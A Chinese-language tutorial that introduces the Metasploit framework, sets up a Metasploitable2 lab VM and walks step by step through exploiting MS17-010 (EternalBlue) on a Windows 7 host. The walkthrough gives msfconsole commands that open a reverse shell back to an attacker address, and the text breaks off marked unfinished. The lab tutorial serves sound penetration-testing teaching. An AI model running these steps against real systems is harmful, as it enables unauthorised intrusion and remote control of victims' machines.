第一章 Metasploit渗透框架介绍及体系框架
1.1 Metasploit 渗透测试框架介绍
Metasploit 是一个渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。使您能够查找,利用和验证漏洞。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。Metasploit的设计初衷是打造成一个攻击工具开发平台。
1.2 Metasploit 体系框架
模块:模块组织按照不同的用途分为6种类型的模块
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:后渗透攻击模块(Post):在渗透攻击模块拿到目标shell权限后,进行进一步攻击的叫做后渗透攻击模块。
注:攻击载荷模块(payload):payload模块主要是用来建立目标机与攻击机稳定的连接。 通过攻击模块成功后利用payload可以返回一个shell,也可以进行程序注入等。
接口:msfconsole控制终端命令、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口
第二章 靶机搭建及Metasploit框架启动
2.1 Metasploitable2-Linux 靶机系统介绍
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计 作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware,VirtualBox和其他虚拟平台。
2.2 Metasploitable2-Linux 靶机系统安装
Metasploitable2-Linux 靶机系统下载链接
1.下载完后直接解压缩到当前文件夹
2.打开Vmware后点击“打开虚拟机” ,如图: 3.打开“Metasploitable.vmx”虚拟机文件 4.开启虚拟机 使用普通用户:msfadmin 密码:msfadmin 进行登录 进去系统后使用命令: - #sudu passwd root //修改root管理员密码
复制代码
修改root密码完成后使用命令:
配置静态IP :
- #vim /etc/network/interfaces //修改网卡配置
- ------------------------------
- #iface eth0 inet static
- #address IP
- #netmask 子网掩码
- #gateway 网关
- ------------------------------
复制代码
重启网卡配置:
- #/etc/init.d/networking restart //重启网卡配置
复制代码
2.3 启动 Metasploit 框架
Metasploit 程序需要使用Postgresql数据库,Kali自带Postgresql数据库
Postgresql 概述:
Postgresql是世界上最先进的开源关系型数据库
官网:https://www.postgresql.org/
启动三项:
启动Postgresql 数据库命令:systemctl start postgresql
开机自启动Postgresql命令:systemctl enable postgresql
启动Metasploit框架命令:msfconsole
出现“ msf6 > ”证明Metasploit框架启用成功,现在可以进行操作了,可以参考命令文档进行操作。
第三章 Metasploit框架基本使用方法
3.1 帮助(help)
Core Commands 核心命令
Module Commands 模块命令
Job Commands 后台任务命令
Resource Commands 资源脚本命令
Database Backend Commands 数据库后端命令
Credentials Backend Commands 证书凭证后端命令
Developer Commands 开发人员相关命令
3.2 连接(connect)
Connect 为核心命令。使用方法:
- #connect 192.168.1.1 80 //连接192.168.1.1的80端口
- #get /
- -------------------------------
- HTTP/1.1 400 Page not found
- Server: GoAhead-Webs
- Date: Tue Mar 30 22:15:02 2021
- Pragma: no-cache
- Cache-Control: no-cache
- Content-Type: text/html
- -------------------------------
复制代码
3.3 列出(show)
show 命令列出所有渗透攻击模块。
show命令有效参数:all,encoders,exploits,payloads,auxiliary,post,plugins,info,options,targets
3.4 搜索(search)
search 命令:
- #search mysql //搜索mysql相关漏洞模块
- #search name:mysql //查找mysql漏洞模块
- #search type:exploit //搜索exploit类型模块
- #search cve:CVE-2017-8464 //搜索CVE漏洞
- #search cve:2018 name:linux //搜索2018年linux漏洞模块
复制代码
search表单含义:
Name Disclosure Date Rank Check Description
名称 披露日期 等级 检查 说明
Rank 通常用来描述漏洞级别,每个漏洞利用模块基于它们对目标系统的影响都被标记了一个Rank字段。
Rank 按照可靠性降序排列:
- great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址;
- good 该漏洞利用程序有个默认的目标系统,并且是这种类型软件的“常见情况“(桌面应用程序的Windows 7,服务器的2012等);
- normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能可靠地自动检测。
- average 该漏洞利用程序不可靠或难以利用;
- low 对于通用的平台而言该漏洞程序几乎不能利用(或者低于50%的利用成功率);
- manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS);
3.5 使用(use)
命令:
- #use 模块的Name //调用装载该模块
- #back //退出当前调用的模块。
- #info //查看Rank等级、发布时间、可复现的目标系统
- #run //执行exploit
复制代码
第四章 模块整体使用流程
4.1 模块使用流程四步法
第一步 确定漏洞,已知漏洞,例:MS17-010;
第二步 查找模块,search MS17-010;
第三步 配置模块程序,use exploit、set payload、set 参数;
第四步 执行模块程序,exploit,run;
第五章 实战-使用msf渗透攻击Win7主机
5.1 第一步-确定目标及漏洞
目标:192.168.1.131
漏洞:MS17-010
目的:拿到最高权限,进行远程代码执行
用nmap扫描主机开放445端口,接下用msf测试一下漏洞是否存在。
5.2 第二步-查找验证模块并且调用
使用#msfconsole命令调用Metasploit框架,如图:
使用#search MS17-010命令,搜索查找MS17-010漏洞模块,如图:
这里我们先选择#1的auxiliary(辅助模块)先进行踩点,查看漏洞是否可以利用,再去进行渗透攻击。
- #use auxiliary/scanner/smb/smb_ms17_010 //调用此模块
复制代码
如图:
使用#show options 命令,查看需要设置的选项(Required为yes是必须设置的选项)。
使用#set RHOSTS 192.168.1.131 命令,设置目标地址。
最后使用#run命令去运行查看漏洞是否存在
Host is likely VULNERABLE to MS17-010! 这个主机存在MS17-010漏洞,可以去利用。
检测到该目标操作系统是Windows 7 专业版
接下来我们可以利用exploits模块进行渗透攻击。
5.3 第三步-利用exploist模块进行渗透
第二步骤的时候检测到目标存在该漏洞,现在我们开始进行渗透。
先使用#back命令退出辅助模块,如图:
使用#search MS17-010命令,搜索MS17-010模块,如图:
我们在第二步的时候使用的是auxiliary模块进行的漏洞检测,这回我们使用exploit模块进行漏洞利用。这里我们选择#2
- #use exploit/windows/smb/ms17_010_eternalblue
复制代码
使用#show options命令,查看需要设置的参数,如图:
这里我们看见多出一个payload选项,这个选项的用处主要是渗透攻击成功后目标机与LHOST建立的Shell连接,所以LHOST参数设置我们自己本地的IP地址,RHOSTS参数还是目标IP
- #set RHOSTS 192.168.1.131 //设置exploit,目标IP
- #set LHOST 192.168.1.138 //设置payload
复制代码
如图:
最后使用#run命令去运行exploit
显示192.168.1.138:4444 -> 192.168.1.131:49160 我们已经所渗透成功了,现在我们已经拿到目标机的Shell了。
我们可以使用#shell命令,在目标机打开一个shell。
如果显示乱码,用#chcp 65001命令,改成UTF-8代码页。
未完!